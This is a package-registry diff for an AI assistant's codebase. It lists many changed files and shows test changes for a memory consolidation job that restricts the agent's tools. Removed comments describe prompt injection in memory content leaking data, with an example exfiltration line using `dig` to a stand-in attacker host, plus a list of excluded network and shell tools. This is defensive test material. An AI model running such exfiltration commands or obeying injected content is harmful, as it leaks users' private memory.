@vellumai/assistant 0.12.2 → 0.12.3-staging.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (298) hide show
  1. package/.env.example +2 -0
  2. package/AGENTS.md +1 -1
  3. package/docs/architecture/integrations.md +7 -0
  4. package/docs/architecture/memory.md +17 -2
  5. package/docs/credential-execution-service.md +1 -1
  6. package/docs/desktop-browser-cli.md +7 -3
  7. package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
  8. package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
  9. package/node_modules/@vellumai/environments/src/shell.test.ts +21 -0
  10. package/node_modules/@vellumai/environments/src/shell.ts +24 -0
  11. package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
  12. package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
  13. package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +8 -2
  14. package/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
  15. package/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
  16. package/openapi.yaml +54 -5
  17. package/package.json +1 -1
  18. package/scripts/smoke-desktop-browser-cli.ts +1 -0
  19. package/scripts/sync-llm-catalog.ts +3 -0
  20. package/scripts/voice-ttft-spike.ts +2 -2
  21. package/src/__tests__/agent-loop.test.ts +259 -0
  22. package/src/__tests__/agent-wake-delegation-prompt.test.ts +64 -2
  23. package/src/__tests__/anthropic-provider.test.ts +55 -0
  24. package/src/__tests__/approval-interception-trust-gates.test.ts +40 -0
  25. package/src/__tests__/attachments-store.test.ts +22 -3
  26. package/src/__tests__/channel-approval.test.ts +9 -14
  27. package/src/__tests__/channel-reply-delivery.test.ts +56 -0
  28. package/src/__tests__/chat-credential-redaction.test.ts +23 -0
  29. package/src/__tests__/computer-use-screenshot-attachments.test.ts +411 -0
  30. package/src/__tests__/computer-use-screenshot-selection.test.ts +50 -0
  31. package/src/__tests__/conversation-agent-loop-inference-profile.test.ts +2 -0
  32. package/src/__tests__/conversation-agent-loop-overflow.test.ts +2 -0
  33. package/src/__tests__/conversation-agent-loop.test.ts +257 -6
  34. package/src/__tests__/conversation-attachments.test.ts +106 -0
  35. package/src/__tests__/conversation-fork-crud.test.ts +191 -0
  36. package/src/__tests__/conversation-rendered-delegation-state.test.ts +276 -0
  37. package/src/__tests__/credential-execution-client.test.ts +70 -53
  38. package/src/__tests__/db-conversation-tool-surface.test.ts +221 -0
  39. package/src/__tests__/events-tail-route.test.ts +33 -0
  40. package/src/__tests__/history-repair.test.ts +53 -0
  41. package/src/__tests__/inference-profile-session-handler.test.ts +26 -0
  42. package/src/__tests__/list-messages-tool-merge.test.ts +85 -1
  43. package/src/__tests__/llm-catalog-parity.test.ts +27 -4
  44. package/src/__tests__/oauth-apps-routes.test.ts +1 -0
  45. package/src/__tests__/oauth-commands-routes.test.ts +114 -101
  46. package/src/__tests__/oauth-connect-orchestrator.test.ts +2 -0
  47. package/src/__tests__/oauth-provider-serializer.test.ts +1 -0
  48. package/src/__tests__/oauth-providers-routes.test.ts +2 -0
  49. package/src/__tests__/persist-media-references.test.ts +50 -0
  50. package/src/__tests__/plugin-import-boundary-guard.test.ts +0 -1
  51. package/src/__tests__/run-conversation-turn-persistence.test.ts +138 -1
  52. package/src/__tests__/schedule-routes.test.ts +20 -0
  53. package/src/__tests__/scheduler-result-notification.test.ts +23 -4
  54. package/src/__tests__/script-proxy-certs.test.ts +1 -1
  55. package/src/__tests__/secret-routes-platform-proxy.test.ts +86 -31
  56. package/src/__tests__/secret-routes-scrub.test.ts +22 -27
  57. package/src/__tests__/secret-scanner.test.ts +20 -0
  58. package/src/__tests__/secure-keys-managed-failover.test.ts +8 -0
  59. package/src/__tests__/secure-keys.test.ts +7 -3
  60. package/src/__tests__/server-tool-pairing.test.ts +107 -0
  61. package/src/__tests__/skills.test.ts +5 -4
  62. package/src/__tests__/subagent-tool-gate-mode.test.ts +226 -0
  63. package/src/__tests__/terminal-tools.test.ts +8 -0
  64. package/src/__tests__/tool-result-follow-up.test.ts +99 -0
  65. package/src/__tests__/tool-result-metadata-plumbing.test.ts +63 -0
  66. package/src/__tests__/unicode.test.ts +36 -0
  67. package/src/agent/loop.ts +37 -12
  68. package/src/agent/tool-result-follow-up.ts +70 -0
  69. package/src/api/attachment-provenance.test.ts +68 -0
  70. package/src/api/computer-use-tool.test.ts +55 -0
  71. package/src/api/computer-use-tool.ts +27 -0
  72. package/src/api/events/assistant-outbound-attachment.ts +3 -0
  73. package/src/api/events/desktop-activity-changed.ts +10 -0
  74. package/src/api/events/question-request.ts +1 -0
  75. package/src/api/index.ts +11 -0
  76. package/src/api/responses/conversation-message.ts +3 -0
  77. package/src/approvals/approval-primitive.ts +5 -2
  78. package/src/approvals/scoped-approval-grants.ts +6 -2
  79. package/src/browser/virtual-desktop-target.ts +1 -2
  80. package/src/cli/commands/__tests__/cli-test-harness.ts +21 -3
  81. package/src/cli/commands/__tests__/plugins.test.ts +20 -1
  82. package/src/cli/commands/__tests__/schedules.test.ts +14 -0
  83. package/src/cli/commands/bash.help.ts +4 -3
  84. package/src/cli/commands/browser.help.ts +5 -1
  85. package/src/cli/commands/credentials.help.ts +3 -3
  86. package/src/cli/commands/oauth/index.help.ts +10 -0
  87. package/src/cli/commands/oauth/providers.ts +12 -0
  88. package/src/cli/commands/oauth/request.test.ts +179 -2
  89. package/src/cli/commands/oauth/request.ts +41 -10
  90. package/src/cli/commands/plugins.ts +12 -5
  91. package/src/cli/commands/schedules.ts +2 -0
  92. package/src/cli/lib/__tests__/inspect-plugin.test.ts +54 -0
  93. package/src/cli/lib/__tests__/install-from-github.test.ts +41 -0
  94. package/src/cli/lib/__tests__/local-plugin-upgrade.test.ts +133 -51
  95. package/src/cli/lib/__tests__/plugin-catalog-cache.test.ts +8 -2
  96. package/src/cli/lib/bundled-marketplace.json +855 -0
  97. package/src/cli/lib/bundled-plugin-packages.json +783 -1
  98. package/src/cli/lib/inspect-plugin.ts +11 -4
  99. package/src/cli/lib/upgrade-plugin.ts +19 -11
  100. package/src/cli/output.ts +18 -4
  101. package/src/config/__tests__/default-provider.test.ts +4 -0
  102. package/src/config/bundled-skills/schedule/SKILL.md +6 -6
  103. package/src/config/loader.ts +9 -17
  104. package/src/config/platform-identity.ts +8 -8
  105. package/src/config/profile-text-generation.test.ts +51 -0
  106. package/src/config/profile-text-generation.ts +51 -0
  107. package/src/config/schemas/__tests__/memory-v3.test.ts +12 -0
  108. package/src/config/schemas/llm.ts +7 -2
  109. package/src/config/schemas/mcp.ts +5 -1
  110. package/src/config/schemas/memory-v3.ts +12 -0
  111. package/src/credential-execution/ces-runtime.ts +2 -2
  112. package/src/credential-execution/executable-discovery.ts +36 -134
  113. package/src/credential-execution/process-manager.test.ts +20 -24
  114. package/src/credential-execution/process-manager.ts +24 -19
  115. package/src/daemon/__tests__/conversation-tool-setup.test.ts +43 -0
  116. package/src/daemon/__tests__/turn-tail-deleted-conversation.test.ts +36 -0
  117. package/src/daemon/assistant-attachments.ts +20 -12
  118. package/src/daemon/chat-credential-redaction.ts +16 -1
  119. package/src/daemon/conversation-agent-loop-handlers.ts +74 -3
  120. package/src/daemon/conversation-agent-loop.ts +12 -0
  121. package/src/daemon/conversation-attachments.ts +93 -12
  122. package/src/daemon/conversation-tool-setup.ts +71 -3
  123. package/src/daemon/conversation-turn-finalize.ts +26 -13
  124. package/src/daemon/conversation.ts +72 -17
  125. package/src/daemon/daemon-control.ts +3 -7
  126. package/src/daemon/lifecycle.ts +4 -4
  127. package/src/daemon/mcp-reload-service.ts +1 -1
  128. package/src/daemon/message-types/shared.ts +1 -0
  129. package/src/daemon/orphan-reaper.ts +4 -3
  130. package/src/daemon/persist-media-references.ts +20 -3
  131. package/src/daemon/tool-setup-types.ts +6 -0
  132. package/src/daemon/wake-conversation-ops.ts +50 -15
  133. package/src/desktop/desktop-automation-lease.test.ts +230 -0
  134. package/src/desktop/desktop-automation-lease.ts +90 -6
  135. package/src/desktop/desktop-help.ts +15 -0
  136. package/src/desktop/desktop-stream-bridge.test.ts +65 -10
  137. package/src/desktop/desktop-stream-bridge.ts +3 -3
  138. package/src/desktop/desktop-wallpaper-renderer.ts +132 -0
  139. package/src/desktop/desktop-wallpaper-worker.ts +17 -0
  140. package/src/desktop/desktop-wallpaper.test.ts +48 -7
  141. package/src/desktop/desktop-wallpaper.ts +34 -102
  142. package/src/desktop/virtual-desktop-feature.ts +1 -1
  143. package/src/mcp/__tests__/manager-tool-caps.test.ts +111 -0
  144. package/src/mcp/__tests__/startup.test.ts +30 -7
  145. package/src/mcp/__tests__/tool-caps.test.ts +107 -0
  146. package/src/mcp/manager.ts +168 -101
  147. package/src/mcp/startup.ts +33 -13
  148. package/src/mcp/tool-caps.ts +176 -0
  149. package/src/messaging/provider-message-metadata.ts +3 -3
  150. package/src/notifications/__tests__/copy-composer.test.ts +70 -0
  151. package/src/notifications/copy-composer.ts +11 -3
  152. package/src/notifications/schedule-result-producer.ts +4 -6
  153. package/src/oauth/AGENTS.md +2 -0
  154. package/src/oauth/__tests__/identity-verifier.test.ts +36 -1
  155. package/src/oauth/identity-verifier.ts +24 -0
  156. package/src/oauth/oauth-store.ts +11 -1
  157. package/src/oauth/provider-serializer.ts +1 -0
  158. package/src/oauth/seed-providers.ts +12 -0
  159. package/src/permissions/confirmation-guardian-request.test.ts +16 -0
  160. package/src/permissions/confirmation-guardian-request.ts +2 -3
  161. package/src/permissions/question-prompter.test.ts +31 -0
  162. package/src/permissions/question-prompter.ts +2 -0
  163. package/src/persistence/attachments-store.ts +84 -44
  164. package/src/persistence/conversation-crud.ts +111 -20
  165. package/src/persistence/conversation-plugin-facade.ts +30 -0
  166. package/src/persistence/conversation-tool-surface.ts +135 -0
  167. package/src/persistence/conversation-types.test.ts +32 -0
  168. package/src/persistence/conversation-types.ts +26 -4
  169. package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +78 -0
  170. package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +29 -0
  171. package/src/persistence/migrations/379-oauth-providers-response-ok-field.test.ts +92 -0
  172. package/src/persistence/migrations/379-oauth-providers-response-ok-field.ts +32 -0
  173. package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.test.ts +90 -0
  174. package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.ts +34 -0
  175. package/src/persistence/schema/conversation-tool-surfaces.ts +32 -0
  176. package/src/persistence/schema/index.ts +1 -0
  177. package/src/persistence/schema/oauth.ts +1 -0
  178. package/src/persistence/steps.ts +24 -3
  179. package/src/plugin-api/conversation-turn.ts +31 -7
  180. package/src/plugin-api/index.ts +11 -1
  181. package/src/plugin-api/plugin-channel-turn-trust.test.ts +133 -0
  182. package/src/plugin-api/plugin-channel-turn-trust.ts +71 -0
  183. package/src/plugins/defaults/memory/AGENTS.md +39 -5
  184. package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +365 -0
  185. package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +43 -0
  186. package/src/plugins/defaults/memory/__tests__/conversation-memory-purge.test.ts +1 -0
  187. package/src/plugins/defaults/memory/__tests__/db-memory-attach.test.ts +2 -0
  188. package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +17 -0
  189. package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +74 -0
  190. package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +161 -0
  191. package/src/plugins/defaults/memory/__tests__/relocated-memory-test-rows.ts +10 -0
  192. package/src/plugins/defaults/memory/buffer-file.ts +354 -0
  193. package/src/plugins/defaults/memory/buffer-format.ts +40 -0
  194. package/src/plugins/defaults/memory/context-search/agent-runner.ts +1 -2
  195. package/src/plugins/defaults/memory/context-search/format.ts +2 -1
  196. package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +2 -1
  197. package/src/plugins/defaults/memory/context-search/sources/workspace.ts +2 -1
  198. package/src/plugins/defaults/memory/conversation-memory-purge.ts +4 -0
  199. package/src/plugins/defaults/memory/graph/capability-seed.ts +1 -2
  200. package/src/plugins/defaults/memory/graph/tool-handlers.ts +1 -42
  201. package/src/plugins/defaults/memory/host-utils.ts +0 -10
  202. package/src/plugins/defaults/memory/injectors.ts +4 -3
  203. package/src/plugins/defaults/memory/memory-retrospective-job.ts +72 -183
  204. package/src/plugins/defaults/memory/memory-run-evidence.ts +213 -0
  205. package/src/plugins/defaults/memory/src/memory-item-routes.test.ts +1 -1
  206. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +407 -99
  207. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +10 -0
  208. package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +107 -7
  209. package/src/plugins/defaults/memory/substrate/consolidation-job.ts +307 -86
  210. package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +34 -0
  211. package/src/plugins/defaults/memory/substrate/page-index.ts +2 -1
  212. package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +89 -49
  213. package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
  214. package/src/plugins/defaults/memory/tools.ts +1 -1
  215. package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
  216. package/src/plugins/defaults/memory/v1/graph/extraction.ts +2 -1
  217. package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
  218. package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +5 -0
  219. package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +5 -2
  220. package/src/plugins/defaults/memory/v2/reranker.ts +2 -1
  221. package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +81 -1
  222. package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +87 -0
  223. package/src/plugins/defaults/memory/v3/__tests__/plugin-schema.test.ts +12 -0
  224. package/src/plugins/defaults/memory/v3/__tests__/pool-log-store.test.ts +183 -4
  225. package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +103 -2
  226. package/src/plugins/defaults/memory/v3/card.ts +2 -1
  227. package/src/plugins/defaults/memory/v3/injector.ts +212 -178
  228. package/src/plugins/defaults/memory/v3/orchestrate.ts +112 -25
  229. package/src/plugins/defaults/memory/v3/plugin-schema.ts +54 -4
  230. package/src/plugins/defaults/memory/v3/pool-log-store.ts +253 -1
  231. package/src/plugins/defaults/memory/v3/pool-select.test.ts +35 -2
  232. package/src/plugins/defaults/memory/v3/pool-select.ts +31 -19
  233. package/src/plugins/defaults/memory/v3/sections.ts +2 -1
  234. package/src/plugins/defaults/memory/v3/shadow-plugin.ts +41 -14
  235. package/src/plugins/defaults/tool-error/hooks/post-tool-use.ts +4 -1
  236. package/src/plugins/defaults/tool-result-truncate/terminal.ts +1 -46
  237. package/src/prompts/__tests__/parallel-tasks-section.test.ts +25 -0
  238. package/src/prompts/delegation-gate.ts +57 -0
  239. package/src/prompts/system-prompt.ts +14 -32
  240. package/src/providers/inference/adapter-factory.ts +6 -0
  241. package/src/providers/jev/client.test.ts +260 -0
  242. package/src/providers/jev/client.ts +518 -0
  243. package/src/providers/model-catalog.ts +58 -3
  244. package/src/providers/server-tool-pairing.ts +16 -7
  245. package/src/runtime/AGENTS.md +2 -2
  246. package/src/runtime/__tests__/agent-wake.test.ts +94 -1
  247. package/src/runtime/agent-wake.ts +31 -4
  248. package/src/runtime/guardian-action-service.ts +2 -17
  249. package/src/runtime/guardian-reply-router.ts +1 -8
  250. package/src/runtime/http-server.ts +2 -2
  251. package/src/runtime/migrations/__tests__/vbundle-import-policy.test.ts +89 -0
  252. package/src/runtime/migrations/vbundle-import-policy.ts +33 -11
  253. package/src/runtime/routes/__tests__/inference-profiles-routes.test.ts +24 -2
  254. package/src/runtime/routes/channel-route-shared.ts +1 -9
  255. package/src/runtime/routes/conversation-routes.ts +29 -4
  256. package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
  257. package/src/runtime/routes/desktop-setup-routes.ts +8 -5
  258. package/src/runtime/routes/guardian-approval-interception.ts +24 -0
  259. package/src/runtime/routes/inbound-message-handler.ts +2 -3
  260. package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
  261. package/src/runtime/routes/inbound-stages/background-dispatch.ts +7 -4
  262. package/src/runtime/routes/inference-profile-session-handler.ts +11 -1
  263. package/src/runtime/routes/inference-profiles-routes.ts +9 -0
  264. package/src/runtime/routes/oauth-commands-routes.ts +57 -54
  265. package/src/runtime/routes/oauth-providers.ts +4 -0
  266. package/src/runtime/routes/oauth-request-hints.test.ts +246 -0
  267. package/src/runtime/routes/oauth-request-hints.ts +149 -0
  268. package/src/runtime/routes/schedule-routes.ts +2 -0
  269. package/src/runtime/routes/secret-routes.ts +99 -119
  270. package/src/schedule/__tests__/worker-mcp-bootstrap.test.ts +107 -0
  271. package/src/schedule/__tests__/worker-mcp-readiness.test.ts +173 -0
  272. package/src/schedule/__tests__/worker-mcp-tools.test.ts +13 -47
  273. package/src/schedule/run-script.ts +2 -2
  274. package/src/schedule/scheduler.ts +47 -11
  275. package/src/schedule/tool-surface-readiness.ts +65 -0
  276. package/src/schedule/worker-mcp.ts +85 -0
  277. package/src/schedule/worker.ts +9 -31
  278. package/src/security/secure-keys.ts +60 -48
  279. package/src/tools/ask-question/ask-question-tool.test.ts +167 -5
  280. package/src/tools/ask-question/ask-question-tool.ts +119 -23
  281. package/src/tools/browser/browser-execution.ts +7 -1
  282. package/src/tools/host-terminal/host-shell.ts +12 -6
  283. package/src/tools/shared/filesystem/file-ops-service.ts +1 -31
  284. package/src/tools/shared/shell-output.test.ts +10 -0
  285. package/src/tools/shared/shell-output.ts +14 -2
  286. package/src/tools/skills/sandbox-runner.ts +13 -2
  287. package/src/tools/skills/scaffold-managed.ts +2 -1
  288. package/src/tools/terminal/__tests__/safe-env.test.ts +33 -4
  289. package/src/tools/terminal/__tests__/sanitized-bash.test.ts +0 -14
  290. package/src/tools/terminal/safe-env.ts +35 -24
  291. package/src/tools/terminal/sanitized-bash.ts +15 -2
  292. package/src/tools/terminal/shell-launch.test.ts +162 -0
  293. package/src/tools/terminal/shell.test.ts +29 -0
  294. package/src/tools/terminal/shell.ts +13 -7
  295. package/src/util/browser-human-verification.ts +14 -0
  296. package/src/util/host-process.test.ts +17 -1
  297. package/src/util/host-process.ts +24 -0
  298. package/src/util/unicode.ts +29 -0
@@ -11,8 +11,12 @@
11
11
  * - Runner returns ok=false → run_failed surfaced; NO follow-up jobs;
12
12
  * `emitNotificationSignal` was NOT called as a result of the failure
13
13
  * (suppression is honored end-to-end).
14
- * - Progress check: a run that leaves the buffer un-shrunk returns
15
- * `invoked` with `noProgress: true` and enqueues no follow-ups.
14
+ * - Runtime-owned consumption: the job hands the run its pass's entries
15
+ * in the prompt and removes exactly those after a run that left a
16
+ * verified page write; entries appended during the run and entries
17
+ * deferred past the cap survive. A run with no verified write returns
18
+ * `invoked` with `noProgress: true`, leaves the buffer intact, and
19
+ * enqueues no follow-ups.
16
20
  * - Follow-up coalescing: a pending job of a follow-up type suppresses
17
21
  * that enqueue (the pending row already covers it).
18
22
  * - Consecutive-failure state: failed runs increment the durable
@@ -25,9 +29,12 @@
25
29
  * content uses generic placeholders (Alice).
26
30
  */
27
31
  import {
32
+ appendFileSync,
33
+ chmodSync,
28
34
  existsSync,
29
35
  mkdirSync,
30
36
  mkdtempSync,
37
+ readFileSync,
31
38
  rmSync,
32
39
  writeFileSync,
33
40
  } from "node:fs";
@@ -43,6 +50,8 @@ import {
43
50
  test,
44
51
  } from "bun:test";
45
52
 
53
+ import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
54
+
46
55
  // ── runBackgroundJob mock ───────────────────────────────────────────
47
56
  //
48
57
  // The consolidation handler delegates the bootstrap + processMessage +
@@ -52,18 +61,13 @@ import {
52
61
  // + trustContext + origin match what the consolidation surface expects.
53
62
  let runnerCalls = 0;
54
63
  let runnerLastArgs: Record<string, unknown> | null = null;
55
- // Default stub: a successful run in which the agent drained the buffer the
56
- // handler's progress check compares buffer line counts before and after the
57
- // run, so a stub that never touched buffer.md would register every success as
58
- // no-progress. No-progress tests override this with an impl that leaves the
59
- // buffer as-is (or grows it).
60
- const runnerTrimsBuffer = async (): Promise<{
64
+ // Default stub: a successful run. The agent never touches buffer.md; the
65
+ // handler consumes the pass's entries itself once the run's messages carry
66
+ // a verified page write (see the plugin-api mock below).
67
+ const runnerSucceeds = async (): Promise<{
61
68
  conversationId: string;
62
69
  ok: boolean;
63
- }> => {
64
- writeFileSync(bufferPath(), "");
65
- return { conversationId: "conv-1", ok: true };
66
- };
70
+ }> => ({ conversationId: "conv-1", ok: true });
67
71
  let runnerImpl: () => Promise<{
68
72
  conversationId: string;
69
73
  ok: boolean;
@@ -71,7 +75,41 @@ let runnerImpl: () => Promise<{
71
75
  errorKind?: string;
72
76
  failureCode?: string;
73
77
  skipReason?: string;
74
- }> = runnerTrimsBuffer;
78
+ }> = runnerSucceeds;
79
+
80
+ // ── plugin-api mock: the run's persisted messages ──────────────────
81
+ //
82
+ // The consume gate reads the run conversation's messages for a page-writing
83
+ // tool call whose result is not an error and for a closing reply as the
84
+ // final row. `runMessages` is what that read returns; the default is one
85
+ // successful `file_write` followed by the pass summary.
86
+ type RunMessage = { role: string; content: unknown[] };
87
+ const FILED_ONE_PAGE: RunMessage[] = [
88
+ {
89
+ role: "assistant",
90
+ content: [
91
+ { type: "tool_use", id: "t1", name: "file_write", input: { path: "x" } },
92
+ ],
93
+ },
94
+ {
95
+ role: "user",
96
+ content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
97
+ },
98
+ {
99
+ role: "assistant",
100
+ content: [{ type: "text", text: "Filed both entries into alice.md." }],
101
+ },
102
+ ];
103
+ let runMessages: RunMessage[] = FILED_ONE_PAGE;
104
+ let messagesRequestedFor: string[] = [];
105
+ const realPluginApi = await import("@vellumai/plugin-api");
106
+ mock.module("@vellumai/plugin-api", () => ({
107
+ ...realPluginApi,
108
+ getMessages: async (conversationId: string) => {
109
+ messagesRequestedFor.push(conversationId);
110
+ return runMessages;
111
+ },
112
+ }));
75
113
 
76
114
  mock.module("../../../../../runtime/background-job-runner.js", () => ({
77
115
  runBackgroundJob: async (opts: Record<string, unknown>) => {
@@ -197,7 +235,8 @@ const { memoryV2ConsolidateJob, CONSOLIDATION_FAILURE_CHECKPOINT_KEY } =
197
235
  const { CUTOFF_PLACEHOLDER, CONSOLIDATION_PROMPT } =
198
236
  await import("../prompts/consolidation.js");
199
237
  const { invalidatePageIndex } = await import("../page-index.js");
200
- const { formatRememberEntry } = await import("../../buffer-format.js");
238
+ const { formatBufferTimestamp, formatRememberEntry } =
239
+ await import("../../buffer-format.js");
201
240
 
202
241
  // The handler only reads `config.memory.enabled`, `config.memory.v2.enabled`,
203
242
  // `config.memory.v2.consolidation_prompt_path`, and
@@ -270,7 +309,9 @@ beforeEach(() => {
270
309
 
271
310
  runnerCalls = 0;
272
311
  runnerLastArgs = null;
273
- runnerImpl = runnerTrimsBuffer;
312
+ runnerImpl = runnerSucceeds;
313
+ runMessages = FILED_ONE_PAGE;
314
+ messagesRequestedFor = [];
274
315
  emitCalls.length = 0;
275
316
  enqueuedJobs.length = 0;
276
317
  nextJobIdCounter = 0;
@@ -309,6 +350,21 @@ describe("memoryV2ConsolidateJob — chunked cutoff (consolidation_max_entries_p
309
350
  expect(outcome.deferredEntries).toBe(2);
310
351
  expect(runnerCalls).toBe(1);
311
352
  expect(runnerLastArgs!.prompt as string).toContain("Apr 27, 9:03 AM");
353
+ // The pass is the first three entries, verbatim, and the job removed
354
+ // exactly them; the two deferred entries are still in the buffer.
355
+ const prompt = runnerLastArgs!.prompt as string;
356
+ expect(prompt).toContain(
357
+ "<buffer_entries>\n" +
358
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code.\n" +
359
+ "- [Apr 27, 9:01 AM] Bob takes his coffee black.\n" +
360
+ "- [Apr 27, 9:02 AM] Carol loves jazz.\n" +
361
+ "</buffer_entries>",
362
+ );
363
+ expect(outcome.consumedEntries).toBe(3);
364
+ expect(readFileSync(bufferPath(), "utf-8")).toBe(
365
+ "- [Apr 27, 9:03 AM] Dave runs marathons.\n" +
366
+ "- [Apr 27, 9:04 AM] Erin paints watercolors.\n",
367
+ );
312
368
  });
313
369
 
314
370
  test("buffer at or under the cap → full-buffer cutoff, nothing deferred", async () => {
@@ -594,6 +650,13 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
594
650
  // Cutoff is a buffer-entry-format timestamp (`Mon D, h:mm AM/PM`) so it
595
651
  // compares like-with-like against `buffer.md` lines at minute precision.
596
652
  expect(prompt).toMatch(/\b[A-Z][a-z]{2} \d{1,2}, \d{1,2}:\d{2} (AM|PM)\b/);
653
+ // The pass's entries ride in the prompt itself, verbatim.
654
+ expect(prompt).toContain(
655
+ "<buffer_entries>\n" +
656
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
657
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
658
+ "</buffer_entries>",
659
+ );
597
660
  });
598
661
 
599
662
  test("threads page-index parse failures into the prompt's repair step", async () => {
@@ -651,57 +714,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
651
714
  expect(runnerLastArgs?.skipPromptIndexing).toBe(true);
652
715
  });
653
716
 
654
- test("wire-scopes the run to local memory-file tools — no network egress or host tools", async () => {
655
- // Security: the consolidation run is guardian-trust + non-interactive, so
656
- // the permission checker auto-approves any tool within the background
657
- // threshold (a public web_fetch classifies Low). The run must therefore be
658
- // handed an explicit allowlist that excludes every egress/host tool, so
659
- // prompt injection embedded in buffer/page content cannot exfiltrate
660
- // memory over an auto-approved channel. Wire gate mode (the default) means
661
- // the excluded tools are never even presented to the model.
717
+ test("wire-scopes the run to the consolidation tool surface", async () => {
718
+ // The handler hands the runner the shared allowlist in the default gate
719
+ // mode ("wire"), so excluded tools are filtered off the wire rather than
720
+ // merely rejected at execution time. Which names on that list actually
721
+ // resolve onto the wire is asserted where the wire gate lives:
722
+ // daemon/__tests__/conversation-tool-setup.test.ts.
662
723
  await memoryV2ConsolidateJob(makeJob(), CONFIG);
663
724
 
664
725
  expect(runnerCalls).toBe(1);
665
- const allowed = runnerLastArgs?.allowedTools as string[] | undefined;
666
- expect(allowed).toBeDefined();
667
- const allowedSet = new Set(allowed);
668
-
669
- // The local file-reorganization surface the pass actually uses. Page
670
- // removal goes through `delete_memory_page` (slug-scoped, no egress), NOT
671
- // a general shell.
672
- for (const tool of [
673
- "file_read",
674
- "file_write",
675
- "file_edit",
676
- "file_list",
677
- "code_search",
678
- "delete_memory_page",
679
- "recall",
680
- ]) {
681
- expect(allowedSet.has(tool)).toBe(true);
682
- }
683
-
684
- // `bash` must NOT be reachable: a shell reopens the egress channel this
685
- // allowlist closes (`dig <secret>.attacker.example` classifies Low and
686
- // auto-approves in this background context). Network egress + host-proxy
687
- // tools stay out for the same reason.
688
- for (const tool of [
689
- "bash",
690
- "web_fetch",
691
- "web_search",
692
- "network_request",
693
- "host_bash",
694
- "host_file_read",
695
- "host_file_write",
696
- "host_file_edit",
697
- "host_cu",
698
- ]) {
699
- expect(allowedSet.has(tool)).toBe(false);
700
- }
701
- // Belt-and-suspenders: nothing host-prefixed slipped in.
702
- expect((allowed ?? []).some((t) => t.startsWith("host_"))).toBe(false);
703
- // Gate mode is left at the default ("wire") so excluded tools are filtered
704
- // off the wire, not merely rejected at execution time.
726
+ expect(runnerLastArgs?.allowedTools).toEqual(CONSOLIDATION_ALLOWED_TOOLS);
705
727
  expect(runnerLastArgs?.toolGateMode).toBeUndefined();
706
728
  });
707
729
 
@@ -774,7 +796,7 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
774
796
  await memoryV2ConsolidateJob(makeJob(), CONFIG);
775
797
  expect(runnerLastArgs?.prompt as string).not.toContain("core-pages");
776
798
 
777
- // The first run's stub drained the buffer refill it so the second
799
+ // The first run consumed the buffer. Refill it so the second
778
800
  // invocation doesn't bail at the empty-buffer gate.
779
801
  writeFileSync(bufferPath(), "- [Apr 27, 9:10 AM] Alice refactored.\n");
780
802
  v3FlagOn = true;
@@ -827,16 +849,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
827
849
  });
828
850
  });
829
851
 
830
- describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", () => {
852
+ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
853
+ const TWO_ENTRIES =
854
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
855
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.\n";
856
+
831
857
  beforeEach(() => {
832
- writeFileSync(
833
- bufferPath(),
834
- "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
835
- "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
836
- );
858
+ writeFileSync(bufferPath(), TWO_ENTRIES);
837
859
  });
838
860
 
839
- test("a drained buffer reports progress and enqueues follow-ups", async () => {
861
+ test("a run with a verified page write consumes exactly the pass and enqueues follow-ups", async () => {
840
862
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
841
863
 
842
864
  expect(result.kind).toBe("invoked");
@@ -844,16 +866,22 @@ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", (
844
866
